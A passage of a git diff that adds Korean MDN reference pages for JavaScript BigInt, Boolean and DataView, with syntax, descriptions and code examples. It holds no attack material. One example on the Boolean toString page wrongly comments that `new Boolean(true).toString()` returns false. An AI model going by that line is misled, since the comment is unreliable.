+// ↪ true</pre>
+
+<p><code>Number</code>와 <code>BigInt</code>는 일반적인 방법으로 비교할 수 있습니다.</p>
+
+<pre class="brush: js">1n &lt; 2
+// ↪ true
+
+2n &gt; 1
+// ↪ true
+
+2 &gt; 2
+// ↪ false
+
+2n &gt; 2
+// ↪ false
+
+2n &gt;= 2
+// ↪ true</pre>
+
+<p>배열의 요소로 함께 사용했을 땐 정렬도 가능합니다.</p>
+
+<pre class="brush: js">const mixed = [4n, 6, -12n, 10, 4, 0, 0n];
+// ↪ [4n, 6, -12n, 10, 4, 0, 0n]
+
+mixed.sort();
+// ↪ [-12n, 0, 0n, 10, 4n, 4, 6]
+</pre>
+
+<p>{{jsxref("Object")}}로 감싼 <code>BigInt</code>의 경우 다른 객체와 마찬가지로 자기 자신과 비교했을 때만 일치합니다.</p>
+
+<pre class="brush: js">0n === Object(0n); // false
+Object(0n) === Object(0n); // false
+
+const o = Object(0n);
+o === o // true
+</pre>
+
+<h3 id="조건">조건</h3>
+
+<p><code>BigInt</code>는 다음의 상황에서는 {{jsxref("Number")}}처럼 행동합니다.</p>
+
+<ul>
+ <li>{{jsxref("Boolean")}} 함수를 사용해 Boolean 객체로 변환</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/%EB%85%BC%EB%A6%AC_%EC%97%B0%EC%82%B0%EC%9E%90(Logical_Operators)">논리 연산자</a> <code>||</code>, <code>&amp;&amp;</code>, <code>!</code>와 함께 사용</li>
+ <li>{{jsxref("Statements/if...else", "if")}}문 등 조건 판별 시</li>
+</ul>
+
+<pre class="brush: js">if (0n) {
+ console.log('if에서 안녕!');
+} else {
+ console.log('else에서 안녕!');
+}
+
+// ↪ "else에서 안녕!"
+
+0n || 12n
+// ↪ 12n
+
+0n &amp;&amp; 12n
+// ↪ 0n
+
+Boolean(0n)
+// ↪ false
+
+Boolean(12n)
+// ↪ true
+
+!12n
+// ↪ false
+
+!0n
+// ↪ true
+</pre>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("BigInt.BigInt", "BigInt()")}}</dt>
+ <dd><code>BigInt</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="정적_메서드">정적 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("BigInt.asIntN()")}}</dt>
+ <dd>주어진 <code>BigInt</code>를 <code>-2<sup>width-1</sup></code>과 <code>2<sup>width-1</sup> - 1</code>의 범위로 자릅니다.</dd>
+ <dt>{{jsxref("BigInt.asUintN()")}}</dt>
+ <dd>주어진 <code>BigInt</code>를 <code>0</code>과 <code>2<sup>width</sup> - 1</code>의 범위로 자릅니다.</dd>
+</dl>
+
+<h2 id="인스턴스_메서드">인스턴스 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("BigInt.prototype.toLocaleString()")}}</dt>
+ <dd>BigInt를 주어진 언어에 적합한 형태를 가진 문자열로 변환해 반환합니다. {{jsxref("Object.prototype.toLocaleString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("BigInt.prototype.toString()")}}</dt>
+ <dd><code>BigInt</code>의 값을 주어진 진수로 표현한 문자열을 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("BigInt.prototype.valueOf()")}}</dt>
+ <dd><code>BigInt</code> 객체의 원시 값 표현을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 재정의합니다.</dd>
+</dl>
+
+<h2 id="권장사항">권장사항</h2>
+
+<h3 id="변환">변환</h3>
+
+<p><code>BigInt</code>를 {{jsxref("Number")}}로 변환하는 과정에서 정확도를 유실할 수 있으므로, 2<sup>53</sup>보다 큰 값을 예상할 수 있는 경우 <code>BigInt</code>만 사용하는 것이 좋습니다.</p>
+
+<h3 id="암호화">암호화</h3>
+
+<p><code>BigInt</code>가 지원하는 연산의 소요시간은 상수 시간이 아니기 때문에 <a href="https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html">암호화에 적합하지 않습니다</a>.</p>
+
+<h3 id="JSON과_함께_사용하기">JSON과 함께 사용하기</h3>
+
+<p><code>BigInt</code>는 직렬화할 수 없기 때문에, {{jsxref("JSON.stringify()")}}에 <code>BigInt</code>를 포함한 값을 전달한다면 <code>TypeError</code>가 발생합니다. 대신, 필요한 경우 자신만의 <code>toJSON</code> 메서드를 만들 수 있습니다.</p>
+
+<pre class="brush: js">BigInt.prototype.toJSON = function() { return this.toString(); }</pre>
+
+<p>이제 아래 코드가 오류를 던지지 않고 문자열을 반환합니다.</p>
+
+<pre class="brush: js">JSON.stringify(BigInt(1));
+// '"1"'
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="소수_구하기">소수 구하기</h3>
+
+<pre class="brush: js">// 주어진 BigInt가 소수이면 true 반환
+function isPrime(p) {
+ for (let i = 2n; i * i &lt;= p; i++) {
+ if (p % i === 0n) return false;
+ }
+ return true;
+}
+
+// BigInt를 받아, n번째 소수를 BigInt로 반환
+function nthPrime(nth) {
+ let maybePrime = 2n;
+ let prime = 0n;
+
+ while (nth &gt;= 0n) {
+ if (isPrime(maybePrime)) {
+ nth -= 1n;
+ prime = maybePrime;
+ }
+ maybePrime += 1n;
+ }
+
+ return prime;
+}
+
+nthPrime(20n)
+// ↪ 73n</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("ESDraft", "#sec-bigint-objects", "<code>BigInt</code> objects")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.BigInt")}}</p>
+
+<h3 id="구현_진척도">구현 진척도</h3>
+
+<p>본 기능은 아직 안정적인 크로스 브라우징에 도달하지 못했으므로, 매일 업데이트되는 아래 표에서 브라우저별 구현 상황을 확인할 수 있습니다. 이 데이터는 각 브라우저 JavaScript 엔진의 나이틀리 빌드 또는 최신 릴리즈판에서, JavaScript 표준 테스트인 <a href="https://github.com/tc39/test262">Test262</a>의 관련 항목을 시험해 생성합니다.</p>
+
+<p>{{EmbedTest262ReportResultsTable("BigInt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/bigint/prototype/index.html b/files/ko/web/javascript/reference/global_objects/bigint/prototype/index.html
new file mode 100644
index 0000000000..6ba56eb37e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/bigint/prototype/index.html
@@ -0,0 +1,59 @@
+---
+title: BigInt.prototype
+slug: Web/JavaScript/Reference/Global_Objects/BigInt/prototype
+tags:
+ - BigInt
+ - JavaScript
+ - Property
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/prototype
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>BigInt.prototype</code></strong> 속성은 {{jsxref("BigInt")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<p>{{js_property_attributes(0, 0, 0)}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 {{jsxref("BigInt")}} 인스턴스는 <code>BigInt.prototype</code>을 상속합니다. <code>BigInt</code> 생성자의 프로토타입 객체를 변형해 모든 <code>BigInt</code> 인스턴스에 영향을 줄 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>BigInt.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 만들 때 사용한 함수를 반환합니다. 기본값은 {{jsxref("BigInt")}} 객체입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt><code>BigInt.prototype.toLocaleString()</code></dt>
+ <dd>BigInt를 주어진 언어에 적합한 형태를 가진 문자열로 변환해 반환합니다. {{jsxref("Object.prototype.toLocaleString()")}} 메서드를 재정의합니다.</dd>
+ <dt><code>BigInt.prototype.toString()</code></dt>
+ <dd><code>BigInt</code>의 값을 주어진 진수로 표현한 문자열을 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt><code>BigInt.prototype.valueOf()</code></dt>
+ <dd><code>BigInt</code> 객체의 원시 값 표현을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 재정의합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ </tr>
+ <tr>
+ <td><a href="https://tc39.github.io/proposal-bigint/#sec-bigint.prototype">BigInt.prototype</a></td>
+ <td>Stage 3</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt.prototype")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/boolean/index.html b/files/ko/web/javascript/reference/global_objects/boolean/boolean/index.html
new file mode 100644
index 0000000000..bbe86a5134
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/boolean/index.html
@@ -0,0 +1,55 @@
+---
+title: Boolean() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/Boolean
+tags:
+ - Boolean
+ - Constructor
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Boolean()</code></strong> 생성자는 {{jsxref("Boolean")}} 객체를 생성할 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Boolean([<var>value</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code> {{optional_inline}}</dt>
+ <dd><code>Boolean</code> 객체의 초깃값.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-boolean-constructor', 'Boolean constructor')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Boolean.Boolean")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>용어 사전: {{Glossary("Boolean")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/index.html b/files/ko/web/javascript/reference/global_objects/boolean/index.html
new file mode 100644
index 0000000000..06618f3ffe
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/index.html
@@ -0,0 +1,108 @@
+---
+title: Boolean
+slug: Web/JavaScript/Reference/Global_Objects/Boolean
+tags:
+ - Boolean
+ - Constructor
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Boolean</code></strong> 객체는 불리언 값을 감싸고 있는 객체입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>첫 번재 매개변수로서 전달한 값은 필요한 경우 불리언 값으로 변환됩니다. 값이 없거나 <code>0</code>, <code>-0</code>, {{jsxref("null")}}, <code>false</code>, {{jsxref("NaN")}}, {{jsxref("undefined")}}, 빈 문자열 (<code>""</code>)이라면 객체의 초기값은 <code>false</code>가 됩니다. 문자열 <code>"false"</code>를 포함한 그 외 모든 다른 값은 초기값을 <code>true</code>로 설정합니다.</p>
+
+<p><code>Boolean</code> 객체의 <code>true</code>와 <code>false</code> 값을 원시 <code>Boolean</code> 값 <code>true</code>, <code>false</code>와 혼동해선 안됩니다.</p>
+
+<p>값이 {{jsxref("undefined")}}, {{jsxref("null")}}이 아닌 <strong>모든</strong> 객체는 조건문에서 <code>true</code>로 계산됩니다. 이는 값이 <code>false</code>인 <code>Boolean</code> 객체도 포함합니다. 즉 아래 {{jsxref("Statements/if...else", "if")}} 문의 조건은 참입니다.</p>
+
+<pre class="brush: js notranslate">var x = new Boolean(false);
+if (x) {
+ // 이 코드는 실행됨
+}
+</pre>
+
+<p>그러나 원시 <code>Boolean</code> 값에는 적용되지 않습니다. 따라서 아래 {{jsxref("Statements/if...else", "if")}} 문의 조건은 거짓입니다.</p>
+
+<pre class="brush: js notranslate">var x = false;
+if (x) {
+ // 이 코드는 실행되지 않음
+}
+</pre>
+
+<p>불리언이 아닌 값을 변환할 때 <code>Boolean</code> 객체를 사용해선 안됩니다. 대신 <code>Boolean</code> 함수를 사용하세요.</p>
+
+<pre class="brush: js notranslate">var x = Boolean(expression); // 추천
+var x = new Boolean(expression); // 사용하지 말것</pre>
+
+<p>값이 <code>false</code>인 <code>Boolean</code> 객체를 포함한 어떠한 객체를 <code>Boolean</code> 객체의 초기값으로 넘겨주더라도 새로운 <code>Boolean</code> 객체는 <code>true</code>를 가집니다.</p>
+
+<pre class="brush: js notranslate">var myFalse = new Boolean(false); // 초기값 거짓
+var g = Boolean(myFalse); // 초기값 참
+var myString = new String('Hello'); // 문자열 객체
+var s = Boolean(myString); // 초기값 참</pre>
+
+<p><code>Boolean</code> 원시 값의 자리에서 <code>Boolean</code> 객체를 이용해선 안됩니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("Boolean.Boolean", "Boolean()")}}</dt>
+ <dd><code>Boolean</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="인스턴스_메서드">인스턴스 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toString()")}}</dt>
+ <dd>객체의 값에 따라 문자열 <code>"true"</code> 또는 <code>"false"</code>를 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt>
+ <dd>{{jsxref("Boolean")}} 객체의 원시값을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 재정의합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="false_값으로_초기화한_Boolean_객체_만들기"><code>false</code> 값으로 초기화한 <code>Boolean</code> 객체 만들기</h3>
+
+<pre class="brush: js notranslate">var bNoParam = new Boolean();
+var bZero = new Boolean(0);
+var bNull = new Boolean(null);
+var bEmptyString = new Boolean('');
+var bfalse = new Boolean(false);</pre>
+
+<h3 id="true_값으로_초기화한_Boolean_객체_만들기"><code>true</code> 값으로 초기화한 <code>Boolean</code> 객체 만들기</h3>
+
+<pre class="brush: js notranslate">var btrue = new Boolean(true);
+var btrueString = new Boolean('true');
+var bfalseString = new Boolean('false');
+var bSuLin = new Boolean('Su Lin');
+var bArrayProto = new Boolean([]);
+var bObjProto = new Boolean({});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Boolean")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Glossary("Boolean")}}</li>
+ <li>{{interwiki("wikipedia", "불리언 자료형")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/prototype/index.html b/files/ko/web/javascript/reference/global_objects/boolean/prototype/index.html
new file mode 100644
index 0000000000..7d1ce4f379
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/prototype/index.html
@@ -0,0 +1,81 @@
+---
+title: Boolean.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype
+tags:
+ - Boolean
+ - JavaScript
+ - Property
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Boolean.prototype</code></strong> 속성은 {{jsxref("Boolean")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-constructor.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Boolean")}} 인스턴스는 <code>Boolean.prototype</code>을 상속받습니다. 생성자의 프로토타입 객체를 사용해 모든 <code>Boolean</code> 인스턴스에 속성이나 메서드를 추가할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Boolean.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성한 함수를 반환합니다. 기본값은 {{jsxref("Boolean")}} 함수입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>{{jsxref("Boolean")}} 객체의 소스를 포함한 문자열을 반환합니다. 반환 문자열을 사용해 동일한 객체를 생성할 수 있습니다. {{jsxref("Object.prototype.toSource()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Boolean.prototype.toString()")}}</dt>
+ <dd>객체의 값에 따라 문자열 <code>"true"</code> 또는 <code>"false"</code>를 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt>
+ <dd>{{jsxref("Boolean")}} 객체의 원시 값을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 재정의합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Boolean.prototype")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/tostring/index.html b/files/ko/web/javascript/reference/global_objects/boolean/tostring/index.html
new file mode 100644
index 0000000000..5cdb2c1f47
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/tostring/index.html
@@ -0,0 +1,69 @@
+---
+title: Boolean.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/toString
+tags:
+ - Boolean
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toString()</strong></code> 메서드는 {{jsxref("Boolean")}} 객체를 나타내는 문자열을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-tostring.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>bool</var>.toString()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Boolean")}} 객체를 나타내는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Boolean")}} 객체는 {{jsxref("Object.prototype.toString()")}} 메서드를 상속받지 않고 재정의합니다. <code>Boolean</code> 객체에서 <code>toString()</code> 메서드는 객체의 문자열 표현을 반환합니다.</p>
+
+<p>JavaScript는 {{jsxref("Boolean")}}을 문자열로 표현해야 할 때나 문자열 결합에 사용할 때 <code>toString()</code>을 자동으로 호출합니다.</p>
+
+<p><code>toString()</code>은 불리언 객체의 값에 따라 문자열 "<code>true</code>" 또는 "<code>false</code>"를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toString_사용하기"><code>toString()</code> 사용하기</h3>
+
+<pre class="brush: js notranslate">var flag = new Boolean(true);
+flag.toString(); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Boolean.toString")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/valueof/index.html b/files/ko/web/javascript/reference/global_objects/boolean/valueof/index.html
new file mode 100644
index 0000000000..50df1d98d2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/valueof/index.html
@@ -0,0 +1,67 @@
+---
+title: Boolean.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf
+tags:
+ - Boolean
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>valueOf()</strong></code> 메서드는 {{jsxref("Boolean")}} 객체의 원시 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-valueof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>bool</var>.valueOf()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Boolean")}} 객체의 원시 값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>valueOf()</code> 메서드는 {{jsxref("Boolean")}} 객체나 불리언 리터럴의 원시 값을 Boolean 자료형의 값으로 반환합니다.</p>
+
+<p><code>valueOf()</code> 메서드는 보통 JavaScript 내부에서 호출하며 코드에서 명시적으로 사용하지는 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="valueOf_사용하기"><code>valueOf</code> 사용하기</h3>
+
+<pre class="brush: js notranslate">var x = new Boolean();
+x.valueOf(); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Boolean.valueOf")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/dataview/dataview/index.html b/files/ko/web/javascript/reference/global_objects/dataview/dataview/index.html
new file mode 100644
index 0000000000..7c8b3634a1
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/dataview/dataview/index.html
@@ -0,0 +1,75 @@
+---
+title: DataView() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/DataView/DataView
+tags:
+ - Constructor
+ - DataView
+ - JavaScript
+ - Reference
+ - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/DataView
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>DataView()</code></strong> 생성자는 새로운 {{jsxref("DataView")}} 객체를 생성합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new DataView(<var>buffer</var> [, <var>byteOffset</var> [, <var>byteLength</var>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>buffer</var></code></dt>
+ <dd>새로운 <code>DataView</code> 객체의 저장소로 사용할 {{jsxref("ArrayBuffer")}} 또는 {{jsxref("SharedArrayBuffer")}} {{experimental_inline}}.</dd>
+ <dt><code><var>byteOffset</var></code> {{optional_inline}}</dt>
+ <dd>새로운 뷰가 참조할 첫 번째 바이트로의 바이트 단위 오프셋. 지정하지 않을 경우 버퍼 뷰는 첫 번째 바이트부터 시작합니다.</dd>
+ <dt><code><var>byteLength</var></code> {{optional_inline}}</dt>
+ <dd>바이트 배열의 요소 수. 지정하지 않을 경우 뷰의 길이는 버퍼의 길이와 같아집니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 데이터 버퍼를 나타내는 새로운 <code>DataView</code> 객체.</p>
+
+<p><code>DataView</code> 객체는 배열 버퍼의 "인터프리터"라고 생각하면 좀 더 쉽습니다. <code>DataView</code>는 읽기와 쓰기 모두에서 버퍼에 잘 맞도록 숫자를 올바르게 변환하는 법, 즉 정수/부동소수점 실수 변환, 엔디언 등 이진 형식으로 나타낸 숫자의 처리법을 알고 있습니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>
+ <p><code>byteOffset</code> 또는 <code>byteLength</code> 매개변수가 버퍼의 끝을 벗어남.</p>
+
+ <p>예를 들어, 버퍼가 16바이트 길이인데 <code>byteOffset</code>을 8로, <code>byteLength</code>를 10으로 설정할 경우 총 길이 18로서 2바이트를 초과하므로 오류가 발생합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView constructor')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.DataView.DataView")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/dataview/index.html b/files/ko/web/javascript/reference/global_objects/dataview/index.html
new file mode 100644
index 0000000000..3bde0a032c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/dataview/index.html
@@ -0,0 +1,168 @@
+---
+title: DataView
+slug: Web/JavaScript/Reference/Global_Objects/DataView
+tags:
+ - DataView
+ - JavaScript
+ - Reference
+ - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>DataView</code></strong> 뷰는 플랫폼의 자체 {{glossary("endianness", "엔디언")}}(바이트 정렬 방법)에 신경 쓰지 않으면서 {{jsxref("ArrayBuffer")}}에서 다양한 숫자 자료형의 데이터를 읽고 쓰기 위한 저수준 인터페이스를 제공합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="엔디언">엔디언</h3>
+
+<p>다중 바이트 숫자 자료형은 장치의 아키텍처에 따라 메모리에 다르게 표현됩니다. {{glossary("endianness", "엔디언")}} 용어 사전을 참고하세요. <code>DataView</code> 접근자는 코드를 실행하는 컴퓨터의 엔디언에 관계 없이 데이터의 접근법을 명시적으로 통제할 수 있습니다.</p>
+
+<pre class="brush: js">var littleEndian = (function() {
+ var buffer = new ArrayBuffer(2);
+ new DataView(buffer).setInt16(0, 256, true /* littleEndian */);
+ // Int16Array uses the platform's endianness.
+ return new Int16Array(buffer)[0] === 256;
+})();
+console.log(littleEndian); // true or false</pre>
+
+<h3 id="64비트_정수_자료형">64비트 정수 자료형</h3>
+
+<p>JavaScript는 64비트 정수형 값에 대한 표준 지원을 아직 제공하지 않으므로 <code>DataView</code>도 64비트 연산을 지원하지 않습니다. 필요한 경우 최대 정확도 {{jsxref("Number.MAX_SAFE_INTEGER")}}의 값을 가져올 수 있는 <code>getUint64()</code> 함수를 만들 수는 있으며, 어느 정도까지는 충분할 것입니다.</p>
+
+<pre class="brush: js">function getUint64(dataview, byteOffset, littleEndian) {
+ // split 64-bit number into two 32-bit (4-byte) parts
+ const left = dataview.getUint32(byteOffset, littleEndian);
+ const right = dataview.getUint32(byteOffset+4, littleEndian);
+
+ // combine the two 32-bit values
+ const combined = littleEndian? left + 2**32*right : 2**32*left + right;
+
+ if (!Number.isSafeInteger(combined))
+ console.warn(combined, 'exceeds MAX_SAFE_INTEGER. Precision may be lost');
+
+ return combined;
+}</pre>
+
+<p>완전한 범위의 64비트를 지원해야 할 경우 {{jsxref("BigInt")}}를 사용하세요. 단, <code>BigInt</code>는 사용자 계층 라이브러리 구현체보다는 훨씬 빠르지만, 가변 크기라는 성질로 인해 JavaScript 32비트 정수보다는 항상 느릴 수밖에 없습니다.</p>
+
+<pre class="brush: js">const BigInt = window.BigInt, bigThirtyTwo = BigInt(32), bigZero = BigInt(0);
+function getUint64BigInt(dataview, byteOffset, littleEndian) {
+ // split 64-bit number into two 32-bit (4-byte) parts
